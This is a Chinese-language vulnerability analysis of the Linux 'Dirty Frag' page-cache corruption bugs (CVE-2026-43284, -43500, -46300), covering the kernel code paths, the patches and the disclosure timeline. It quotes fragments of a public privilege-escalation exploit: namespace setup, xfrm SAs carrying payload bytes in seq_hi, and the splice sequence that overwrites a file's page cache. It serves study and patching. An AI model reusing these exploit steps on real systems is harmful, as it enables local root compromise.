当前位置: 首页 > news >正文

CVE-2026-43284 CVE-2026-43500 CVE-2026-46300 Dirty Frag 漏洞分析 --前车之鉴,后事之师

文章目录

  • 简介
  • ipsec esp esn
  • 创建SA
  • splice
  • 补丁
    • __ip_append_data
    • esp_input
  • CVE-2026-43500
  • CVE-2026-46300
  • 总结
  • 漏洞纰漏流程
  • 参考

简介

CVE-2026-43284需启用以下config:

CONFIG_INET_ESP CONFIG_AF_RXRPC # esp模式使用 CONFIG_USER_NS CONFIG_NET_NS CONFIG_XFRM CONFIG_XFRM_USER

CVE-2026-43500需启用以下config:

CONFIG_CRYPTO_USER_API_SKCIPHER CONFIG_RXKAD CONFIG_CRYPTO_PCBC CONFIG_CRYPTO_FCRYPT

这次的漏洞是Copy Fail的延伸,漏洞分析过程在Copy Fail已知的关键位置中,不再从poc完整分析

  • CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md

使用的poc:V4bel/dirtyfrag/exp.c

poc中包含两个模式,CVE-2026-43284介绍poc的esp模式:exp --force-esp

CVE-2026-43500、CVE-2026-46300的漏洞在CVE-2026-43284基础上高度相似,看懂CVE-2026-43284就能秒懂两外两个漏洞的补丁,仅主要分析CVE-2026-43284

内核代码注释

ipsec esp esn

参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md文章中的这张图,覆盖页面发生在sequence hight覆盖icv部分,而ipsec协议中,sql_h是双方自己保存的一个状态,放在SA安全联盟中(SA双方自己保存)

本次漏洞是发起ipsec实现,所以poc的第一步是创建SA,将需要覆盖的新消息放到SA的esn->seq_hi位置

创建SA

IPsec SA(Security Association,安全联盟)是IPsec对等体间对某些要素的约定,例如,使用的安全协议、协议报文的封装模式、认证算法、加密算法、特定流中保护数据的共享密钥以及密钥的生存时间等。

poc的第一步,创建新的ns,在新的ns中将普通用户映射成root,因为只有root(ns中的root也算)才可以创建SA

/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 102 static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { // 创建ns SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); // 为在新ns中映射uid准备 char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { // 新ns中映射uid为root SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { // 新ns中映射gid SLOG("gid_map: %s", strerror(errno)); exit(1); }

接下来,不断调用add_xfrm_sa函数创建SA

  • spi 每一条ipsec通道标识 每一条通道里设置一次seqhi
  • seqhi 用来替换的新的值 将会替换用户文件
static int corrupt_su(void) { setup_userns_netns(); // 创建ns,映射uid、gid /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the * desired payload word in its seq_hi field. */ for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; // 每一条ipsec通道标识 uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { // 新的SA,包含指定的spi和seqhi
/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 130 static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { ...... struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.spi = htonl(spi); esn->seq_hi = patch_seqhi; ... 创建SA ...

splice

接下来,poc不断创建ipsec通信,每次一个报文修改4字节的形式修改文件page cache

for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); return -1; } }

修改page cache通过do_one_write函数实现,首先是手动构造ipsec esp hdr和16字节的加密数据,加密数据是否可解密不重要,通过vmsplice引入到管道中,这时候的vmsplice虽然是把hdr所在的用户态page引入到pipe中,不过不重要,用write也一样。

/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 257 uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); // 4 *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); // sn_low memset(hdr + 8, 0xCC, 16); // 16 struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { // hdr的page放在pipe->buf[pipe->head]中,占用pipe的第一个bufs

splice需要成对调用,第一个发生在这里:

把文件的page cache引入到pipe的第二个buf中,这时候引入16字节相当于icv的大小,实现细节参考CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md

/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 267 ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); // 文件的page引入pipe,16字节的icv,第二个bufs

splice成对,后面一段splice发生在要把数据写入到socket中

/root/qemu/linux-6.6.58/dirtyfrag/exp.c: 271 s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); // pipe中的内容发送sk_send中

splice根据传入的两端类型,由管道到socket,会使用splice_to_socket,这里完成将管道的page引用打包为socket处理需要的struct msghdr结构,给这条msg添加上MSG_SPLICE_PAGESflag,这时候,文件的page cache正式进入网络模块中。

ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, loff_t *ppos, size_t len, unsigned int flags) { struct socket *sock = sock_from_file(out); struct bio_vec bvec[16]; struct msghdr msg = {}; while (len > 0) { unsigned int head, tail, mask, bc = 0; size_t remain = len; // 剩余需要传送的Byte head = pipe->head; tail = pipe->tail; mask = pipe->ring_size - 1; while (!pipe_empty(head, tail)) { struct pipe_buffer *buf = &pipe->bufs[tail & mask]; size_t seg; seg = min_t(size_t, remain, buf->len); // 一次传送的大小 bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset); // bv->bv_page = page; bv->bv_len = len; bv->bv_offset = offset; 这里直接传递的page,而不是拷贝数据 remain -= seg; if (remain == 0 || bc >= ARRAY_SIZE(bvec)) break; tail++; } msg.msg_flags = MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到 iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc, len - remain); // 后面的信息都组装到msg.msg_iter中 ret = sock_sendmsg(sock, &msg);
#0 splice_to_socket (pipe=<optimized out>, out=0xffff8880056bce00, ppos=<optimized out>, len=40, flags=1) at fs/splice.c:879 #1 0xffffffff8138bcfc in do_splice_from (flags=72425472, len=40, ppos=0xffffc900006ffe38, out=0xffff8880056bce00, pipe=0xffff88800569acc0) at fs/splice.c:933 #2 do_splice (in=in@entry=0xffff888006d3e900, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff8880056bce00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=40, flags=<optimized out>, flags@entry=1) at fs/splice.c:1292 #3 0xffffffff8138c3f2 in __do_splice (in=in@entry=0xffff888006d3e900, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff8880056bce00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=40, flags=flags@entry=1) at fs/splice.c:1370 #4 0xffffffff8138c559 in __do_sys_splice (flags=1, len=40, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x0 <fixed_percpu_data>, fd_in=<optimized out>) at fs/splice.c:1586 #5 __se_sys_splice (flags=1, len=40, off_out=0, fd_out=<optimized out>, off_in=0, fd_in=<optimized out>) at fs/splice.c:1568 #6 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568

poc是用udp承载数据包,udp_sendmsg是udp报文入口,在这里先组装ip报文,再继续发送

/root/qemu/linux-6.6.58/net/ipv4/udp.c: 1059 int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len) { skb = ip_make_skb(sk, fl4, getfrag, msg, ulen, sizeof(struct udphdr), &ipc, &rt, &cork, msg->msg_flags); // 组装成ip包放到sk中 err = PTR_ERR(skb); if (!IS_ERR_OR_NULL(skb)) err = udp_send_skb(skb, fl4, &cork); // 从这里发送 走到esp_input

在组装成ip报文时候flags来自于msg->msg_flags,即splice_to_socket: msg.msg_flags = MSG_SPLICE_PAGES; // 后面协议栈ip层处理会用到

这时将msg中的两个page引用转到到skb->frags中,表示有两个片段

/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags & MSG_SPLICE_PAGES) { struct msghdr *msg = from; err = -EIO; if (WARN_ON_ONCE(copy > msg->msg_iter.count)) goto error; err = skb_splice_from_iter(skb, &msg->msg_iter, copy, sk->sk_allocation); // iter中的page都将引用转移到skb->frags中

经过网络层其他处理之后,来到了ipsec的大门,esp_input负责调整ipsec报文,并将报文交给authencesn模块负责认证和解密

esp_input的一开始,skb状态如下:

两个片段区,分别是pipe中传入的esp头 + ct和icv两个片段

-exec p ((struct skb_shared_info *)0xffff8880047fcc40)->nr_frags $4 = 2 '\002' -exec p ((struct skb_shared_info *)0xffff8880047fcc40)->frags $3 = {{bv_page = 0xffffea000017cdc0, bv_len = 16, bv_offset = 1208}, {bv_page = 0xffffea000017a9c0, bv_len = 16, bv_offset = 28}

esp_input->pskb_may_pull->__pskb_pull_tail刚开始时会先保证头部位于线性区,即会将skb_shinfo(skb)->nr_frags[0]的内容拷贝到线性区中,skb_shinfo(skb)->nr_frags[0]所在page就不用了,skb_shinfo(skb)->nr_frags还剩下文件的page cache一个片段

/root/qemu/linux-6.6.58/net/ipv4/esp4.c: 877 static int esp_input(struct xfrm_state *x, struct sk_buff *skb) // ESP 输入处理入口 — 设置 AEAD 解密请求 { if (!pskb_may_pull(skb, sizeof(struct ip_esp_hdr) + ivlen)) // 线性区至少有hdr + iv的大小,esp_input_set_header会直接使用skb指针指向连续区 goto out;
/root/qemu/linux-6.6.58/net/core/skbuff.c: 2652 void *__pskb_pull_tail(struct sk_buff *skb, int delta) { /* If skb has not enough free space at tail, get new one * plus 128 bytes for future expansions. If we have enough * room at tail, reallocate without expansion only if skb is cloned. */ int i, k, eat = (skb->tail + delta) - skb->end; if (eat > 0 || skb_cloned(skb)) { if (pskb_expand_head(skb, 0, eat > 0 ? eat + 128 : 0, GFP_ATOMIC)) return NULL; } BUG_ON(skb_copy_bits(skb, skb_headlen(skb), skb_tail_pointer(skb), delta));

接下来会处理esp消息,启用esn时将seq_h插入到spi和seq_l之间,else if (!skb_has_frag_list(skb))判断之后跳过了cow处理,也就是将page chache所在的片段通过err = skb_to_sgvec(skb, sg, 0, skb->len);交给了sg,现在sg中有两个page分别是skb的连续区(包括esp header ct)和page cache。接下来交给authencesn处理,最终触发漏洞。

assoclen = sizeof(struct ip_esp_hdr); // AAD = ESP 头(spi + seq_no) = 8字节 seqhilen = 0; if (x->props.flags & XFRM_STATE_ESN) { // 扩展序列号时 AAD 增加 4 字节 = 12字节 seqhilen += sizeof(__be32); assoclen += seqhilen; } if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里,跳过cow,修复补丁修复这里 nfrags = skb_shinfo(skb)->nr_frags; // page fragment 数量 nfrags++; goto skip_cow; } } err = skb_cow_data(skb, 0, &trailer); if (err < 0) goto out; nfrags = err; skip_cow: err = -ENOMEM; tmp = esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 if (!tmp) goto out; ESP_SKB_CB(skb)->tmp = tmp; // ((struct esp_skb_cb *)&((__skb)->cb[0]))->tmp = tmp; seqhi = esp_tmp_extra(tmp); // seqhi = tmp iv = esp_tmp_iv(aead, tmp, seqhilen); // iv = tmp + 4 req = esp_tmp_req(aead, iv); // req = align(iv + crypto_aead_ivsize(aead)) sg = esp_req_sg(aead, req); // sg = align(req + crypto_aead_reqsize(aead)) esp_input_set_header(skb, seqhi); // esp时修改报文spi + sn_l之间插入sn_h,原来提前的值保存到seqhi,esp_input_restore_header中恢复 sg_init_table(sg, nfrags); err = skb_to_sgvec(skb, sg, 0, skb->len); // 将skb数据(包括线性区和frag)引用到 scatterlist if (unlikely(err < 0)) { kfree(tmp); goto out; } skb->ip_summed = CHECKSUM_NONE; if ((x->props.flags & XFRM_STATE_ESN)) aead_request_set_callback(req, 0, esp_input_done_esn, skb); // 恢复header的回调 else aead_request_set_callback(req, 0, esp_input_done, skb); aead_request_set_crypt(req, sg, sg, elen + ivlen, iv); // req->src/dst 都是sg,原地优化 aead_request_set_ad(req, assoclen); // req->assoclen = assoclen; 设置 AAD 长度 12 err = crypto_aead_decrypt(req); if (err == -EINPROGRESS) goto out; if ((x->props.flags & XFRM_STATE_ESN)) esp_input_restore_header(skb); // 恢复修改的报文 err = esp_input_done2(skb, err); out: return err; }

补丁

补丁xfrm: esp: avoid in-place decrypt on shared skb frags修改了两处地方,一处是__ip_append_data路径中,添加SKBFL_SHARED_FRAG

__ip_append_data

diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c index e4790cc7b5c2..5bcd73cbdb41 100644 --- a/net/ipv4/ip_output.c +++ b/net/ipv4/ip_output.c @@ -1233,6 +1233,8 @@ static int __ip_append_data(struct sock *sk, if (err < 0) goto error; copy = err; + if (!(flags & MSG_NO_SHARED_FRAGS)) + skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; wmem_alloc_delta += copy; } else if (!zc) { int i = skb_shinfo(skb)->nr_frags;

SKBFL_SHARED_FRAGflag是已经存在的flag,标记skb中的page是来自于splice这样类似的系统调用(sendfile现在也是用的splice)

/root/qemu/linux-6.6.58/include/linux/skbuff.h: 506 /* This indicates at least one fragment might be overwritten * (as in vmsplice(), sendfile() ...) * If we need to compute a TX checksum, we'll need to copy * all frags to avoid possible bad checksum */ SKBFL_SHARED_FRAG = BIT(1),

这里相当于补齐了原本ip数据包处理时应该有的逻辑,来自splice引入的flag给skb_shinfo(skb)->flags添上SKBFL_SHARED_FRAGflag

/root/qemu/linux-6.6.58/net/ipv4/ip_output.c: 951 static int __ip_append_data(struct sock *sk, struct flowi4 *fl4, struct sk_buff_head *queue, struct inet_cork *cork, struct page_frag *pfrag, int getfrag(void *from, char *to, int offset, int len, int odd, struct sk_buff *skb), void *from, int length, int transhdrlen, unsigned int flags) { ...... } else if (flags & MSG_SPLICE_PAGES) { struct msghdr *msg = from; err = -EIO; if (WARN_ON_ONCE(copy > msg->msg_iter.count)) goto error; err = skb_splice_from_iter(skb, &msg->msg_iter, copy, sk->sk_allocation); // iter中的page都将引用转移到skb->frags中 if (!(flags & MSG_NO_SHARED_FRAGS)) skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG; // ((struct skb_shared_info*)(skb->head + skb->end))->flags |= SKBFL_SHARED_FRAG

SKBFL_SHARED_FRAG 标记影响skb的所有frag,不是每个frag的私有flag,内核这样做的逻辑是只让一个是shared就所有都要cow,简化操作。

这里的补齐也和其他几个关联CVE有关,后面会介绍到

esp_input

在上面添加好SKBFL_SHARED_FRAG之后,esp_input处理ipsec报文时就会不跳过COW,复制报文对复制后的报文进行处理

diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c index 6dfc0bcdef65..6a5febbdbee4 100644 --- a/net/ipv4/esp4.c +++ b/net/ipv4/esp4.c @@ -873,7 +873,8 @@ static int esp_input(struct xfrm_state *x, struct sk_buff *skb) nfrags = 1; goto skip_cow; - } else if (!skb_has_frag_list(skb)) { // 引发漏洞会走到这里,跳过cow,修复补丁修复这里 + } else if (!skb_has_frag_list(skb) && + !skb_has_shared_frag(skb)) { // 现在有SKBFL_SHARED_FRAG后不会跳过cow步骤了 nfrags = skb_shinfo(skb)->nr_frags; // page fragment 数量 nfrags++; goto skip_cow; } } err = skb_cow_data(skb, 0, &trailer); // 现在会把frag中的消息拷贝到连续区了 if (err < 0) goto out; nfrags = err; skip_cow: err = -ENOMEM; tmp = esp_alloc_tmp(aead, nfrags, seqhilen); // 后面一系列操作所需的临时内存 ...... sg_init_table(sg, nfrags); err = skb_to_sgvec(skb, sg, 0, skb->len); // 将skb数据(包括线性区和frag)引用到 scatterlist
static inline bool skb_has_shared_frag(const struct sk_buff *skb) { return skb_is_nonlinear(skb) && skb_shinfo(skb)->flags & SKBFL_SHARED_FRAG;

skb_cow_data->__pskb_pull_tail会将剩余的片段全部拷贝到连续区中

/root/qemu/linux-6.6.58/net/core/skbuff.c: 5020 int skb_cow_data(struct sk_buff *skb, int tailbits, struct sk_buff **trailer) { if ((skb_cloned(skb) || skb_shinfo(skb)->nr_frags) && !__pskb_pull_tail(skb, __skb_pagelen(skb))) return -ENOMEM;

这样icv放到了连续区,后续的sg_init_table(sg, nfrags);只有一个page即连续区的page

由于本次漏洞收到的影响来自于splice引入的skb_shinfo(skb)->frags,故得名dirty frag

后面几个CVE都和本次修复有联系

CVE-2026-43500

rxrpc 模块是其中的 RxRPC 协议实现,用于支持远程过程调用。
受影响版本中,rxrpc_input_call_event() 函数和 rxrpc_verify_response() 函数在处理 DATA/RESPONSE 数据包时,仅检查 skb_cloned(skb) 条件来判断是否需要复制 skb。但未克隆但仍携带外部拥有的分页片段(通过 splice() 设置 SKBFL_SHARED_FRAG 或链式 skb_has_frag_list())的 skb 会绕过检查,直接进入原地解密路径,通过 skb_to_sgvec() 将外部 frag 页面绑定到 AEAD/skcipher SGL,可能导致敏感数据泄露或内存损坏。
修复版本中通过在判断条件中增加 skb_has_frag_list(skb) || skb_has_shared_frag(skb) 检查,确保在 skb 携带外部共享片段时也执行 unshare 操作,避免在原地解密过程中访问外部共享的内存页面。

rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present

diff --git a/net/rxrpc/call_event.c b/net/rxrpc/call_event.c index fdd683261226c..2b19b252225e5 100644 --- a/net/rxrpc/call_event.c +++ b/net/rxrpc/call_event.c @@ -334,7 +334,9 @@ bool rxrpc_input_call_event(struct rxrpc_call *call) if (sp->hdr.type == RXRPC_PACKET_TYPE_DATA && sp->hdr.securityIndex != 0 && - skb_cloned(skb)) { + (skb_cloned(skb) || + skb_has_frag_list(skb) || + skb_has_shared_frag(skb))) { /* Unshare the packet so that it can be * modified by in-place decryption. */

这个漏洞也是因为splice将page cache引入skb->frag中后,再被原地优化引入到加密子系统中,加密子系统原地读写造成的

在CVE-2026-43284的补丁上半部位于__ip_append_data中,当时来自splice引入的msg补充到skb中时添加了SKBFL_SHARED_FRAG后,rxrpc模块内也做相应的处理继续cow即可,修复方案和CVE-2026-43284下半部分在esp_input中的处理如出一辙。

CVE-2026-46300

net/core/skbuff.c 的 skb_try_coalesce() 函数在转移分页 fragment 时,未将 SKBFL_SHARED_FRAG 标志同步传播至目标 skb_shinfo->flags(缺陷自 2013 年提交 cef401de7be8 起潜伏)。Linux 5.1 引入 espintcp 模块后,该缺陷获得可利用的触发路径:XFRM ESP-in-TCP 接收路径因 skb_has_shared_frag() 返回错误的 false,绕过 skb_cow_data() 写时复制保护,对 page cache 映射页面执行 AES-GCM 原地解密,将密钥流字节 XOR 写入只读文件的内核页缓存,非特权本地用户可借此将 SUID 可执行文件的页缓存副本替换为恶意载荷,完成本地提权至 root。

net: skbuff: preserve shared-frag marker during coalescing

diff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b5186..9c4e8d331d6db 100644 --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ -6200,6 +6200,8 @@ bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo->frags, from_shinfo->nr_frags * sizeof(skb_frag_t)); to_shinfo->nr_frags += from_shinfo->nr_frags; + if (from_shinfo->nr_frags) + to_shinfo->flags |= from_shinfo->flags & SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo->nr_frags = 0;

CVE-2026-43500的补丁内容和CVE-2026-43284补丁的下半部分高度相似,而这个CVE-2026-46300和CVE-2026-43284的上半部分高度相似

skb_try_coalesce函数作用于把from包和to包合并,合并的过程中把from的SKBFL_SHARED_FRAGflag继承到to中,补齐CVE-2026-43284遗漏的合并报文处理。

在CVE-2026-31431利用af_alg -> authencesn(ipsec的一个功能子集)的基础上,CVE-2026-43284完整利用了ipsec协议再度发现漏洞
CVE-2026-43500、CVE-2026-46300又在CVE-2026-43284之上继续发现类似漏洞。。。

总结

flowchart LR A[splice 零拷贝<br>将文件 page cache<br>引入 pipe buffer] --> B[splice pipe→socket<br>MSG_SPLICE_PAGES<br>进入 skb->frags] B --> C[skb_splice_from_iter<br>添加 page 到 frags] C --> D[skb_shinfo->flags<br>缺失 SKBFL_SHARED_FRAG] D --> E[esp_input / rxrpc / skb_try_coalesce<br>认为 frags 是私有内存] E --> F[skb_to_sgvec → crypto<br>原地解密<br>直接写入 page cache] F --> G[文件内存被改<br>磁盘未变]

三环相扣:

  1. CVE-2026-43284 上半部ip_output.c):补齐 splice 路径中SKBFL_SHARED_FRAG标记的缺失——来自sendfile/vmsplice的 page 被直接放入 skb->frags,但没有通知后续处理者"这些 page 可能被外部篡改"
  2. CVE-2026-43284 下半部esp4.c):有了标记后,ESP 路径的skb_cow_data条件检查!skb_has_shared_frag(skb),命中后强制 copy,避免原地解密写入 page cache
  3. CVE-2026-43500rxrpc/call_event.c):RxRPC 的 DATA/RESPONSE 解密路径有同样的绕过问题,修复模式与 esp4.c 如出一辙——在skb_cloned检查旁增加skb_has_shared_frag检查
  4. CVE-2026-46300skbuff.c):skb_try_coalesce合并 skb 时未传播SKBFL_SHARED_FRAG标记,导致被合并的 skb 丢失 shared 属性,ESP-in-TCP 作为新的触发入口
Copy Fail (CVE-2026-31431) ── AF_ALG + splice + 原地解密 → 写 page cache Dirty Frag (CVE-2026-43284 等三个) ── 协议栈 + splice + 原地解密 → 写 page cache

前车之鉴,后事之师

漏洞纰漏流程

2026-04-30: 向 security@kernel.org 提交了关于 esp 漏洞的详细信息以及一个可在多个主要发行版上获取 root 权限的武器化利用程序。
2026-04-30: 向 netdev 邮件列表提交了 esp 漏洞的补丁。该问题的信息已公开发布。
2026-04-30 (+9h): Kuan-Ting Chen 向 security@kernel.org 提交了 esp 漏洞的报告,并附带了一个复现程序。
2026-05-04: Kuan-Ting Chen 向 netdev 邮件列表提交了 shared-frag 方法补丁。
2026-05-07: 补丁已合并到 netdev 树中。
2026-05-07: 向 linux-distros 邮件列表提交了关于漏洞和利用程序的详细信息。设置了 5 天的禁运期,并达成协议,如果第三方在禁运期内将利用程序发布到互联网上,Dirty Frag 的利用程序将公开发布。
2026-05-07: 详细信息和该漏洞的利用程序被一个无关的第三方公开发布,打破了禁令。
2026-05-07:在获得分发维护者的同意后,完全公开了 Dirty Frag,并发布了整个 Dirty Frag 文档。
2026-05-08: 补丁 f4c50a4034e6 已合并到主线。
2026-05-08: 该漏洞被分配了 CVE-2026-43284 编号。

内核社区文档:

“Any exploit code is very helpful and will not be released without consent from the reporter unless it has already been made public.”
(任何漏洞利用代码都很有帮助,未经报告者同意不得发布,除非它已经公开。

  • Documentation/process/security-bugs.rst

该CVE向 security@kernel.org 提交了 esp 漏洞的报告,并附带了一个复现程序,导致这个CVE在社区处理、获得CVE编号前被武器化使用。

参考

  • Github V4bel/dirtyfrag
  • xfrm: esp: avoid in-place decrypt on shared skb frags
  • 阿里云漏洞库 Linux kernel xfrm-ESP Dirty Frag 本地提权漏洞(CVE-2026-43284)
  • CVE-2026-31431 Copy Fail 漏洞分析 --通往地狱的道路充满了善意 .md
  • Documentation/process/security-bugs.rst
  • 阿里云漏洞库 Linux Kernel Fragnesia 本地权限提升漏洞(CVE-2026-46300)
  • 阿里云漏洞库 Linux kernel rxrpc模块skb共享碎片处理漏洞(CVE-2026-43500)
  • bilibili 精彩网络技术 10.4 IPSec基本概念、IKE协议
  • rfc4303: IP Encapsulating Security Payload (ESP)
http://www.jsqmd.com/news/979967/

相关文章:

  • 从摘要到关键词:搞定论文‘门面’的完整流程与常见误区避坑(以计算机/材料学为例)
  • 平凉市黄金回收本地靠谱店铺指南+白银回收+铂金回收+彩金回推荐收门店 及地联系方式址推荐 - 盛世金银回收
  • Unlock Music音乐解锁工具:3分钟快速解密所有加密音乐格式
  • STM32F103用RS485跑Modbus RTU,直连中达优控HMI一体机的可调试工程
  • matchexpression和matchlabels的区别
  • 金华市黄金回收本地靠谱店铺指南+白银回收+铂金回收+彩金回推荐收门店 及地联系方式址推荐 - 盛世金银回收
  • 智能容量规划:基于时序预测的弹性伸缩实践,从经验估算到数据驱动
  • 算力中心环境感知体系中POE传感终端的关键技术探析
  • 2026华北金融行业RAID数据恢复服务商推荐:北京服务器数据恢复/北京硬盘数据恢复/北京远程数据恢复/北京上门数据恢复/选择指南 - 优质品牌商家
  • 市面上靠谱的商务出行制造商哪家强
  • 别再让日志散落一地:Hadoop YARN日志聚合(yarn-site.xml)配置详解与避坑指南
  • LGTV Companion终极指南:让LG电视与电脑实现智能联动
  • 浏览器用户画像分析 - 大屏数据接入
  • Arduino小球平衡台全套搭建资料:PID代码+3D打印件+接线调试指南
  • Android Studio可直接运行的Java计算器项目,含完整工程结构与四则运算逻辑
  • 萍乡市黄金回收本地靠谱店铺指南+白银回收+铂金回收+彩金回推荐收门店 及地联系方式址推荐 - 盛世金银回收
  • 晋城市黄金回收本地靠谱店铺指南+白银回收+铂金回收+彩金回推荐收门店 及地联系方式址推荐 - 盛世金银回收
  • Codex ran out of room in the model‘s context window.
  • 剪辑问题不知道问谁怎么办?5款工具实测对比
  • 2025-2026年上海屋宁遮阳设备有限公司电话查询:选购户外遮阳产品前需了解的事项 - 品牌推荐
  • STM32 与 GD32
  • PHP写的电视直播系统,网页和手机都能推流看直播
  • 小程序毕设项目:基于springboot+微信小程序的民宿预订管理系统设计与实现 (源码+文档,讲解、调试运行,定制等)
  • 文安县源翔机床维修部:机床翻新喷漆/机床表面喷漆/液压机喷漆/液压机翻新/设备油漆翻新喷漆/设备翻新喷漆/车床喷漆/选择指南 - 优质品牌商家
  • Claude-Sonnet-4-6 技术深度解析 + startapi.top 国内中转调用实战
  • 娄底市黄金回收+白银回收+铂金回收+彩金回推荐收门店 本地靠谱店铺指南及地联系方式址和 - 大熊猫898989
  • 2026夏季工作服衬衫,清凉透气怎么选?
  • AI 不是一个预算条目
  • 如何免费解锁Wand高级功能:终极Wand-Enhancer使用指南
  • 晋中市黄金回收本地靠谱店铺指南+白银回收+铂金回收+彩金回推荐收门店 及地联系方式址推荐 - 盛世金银回收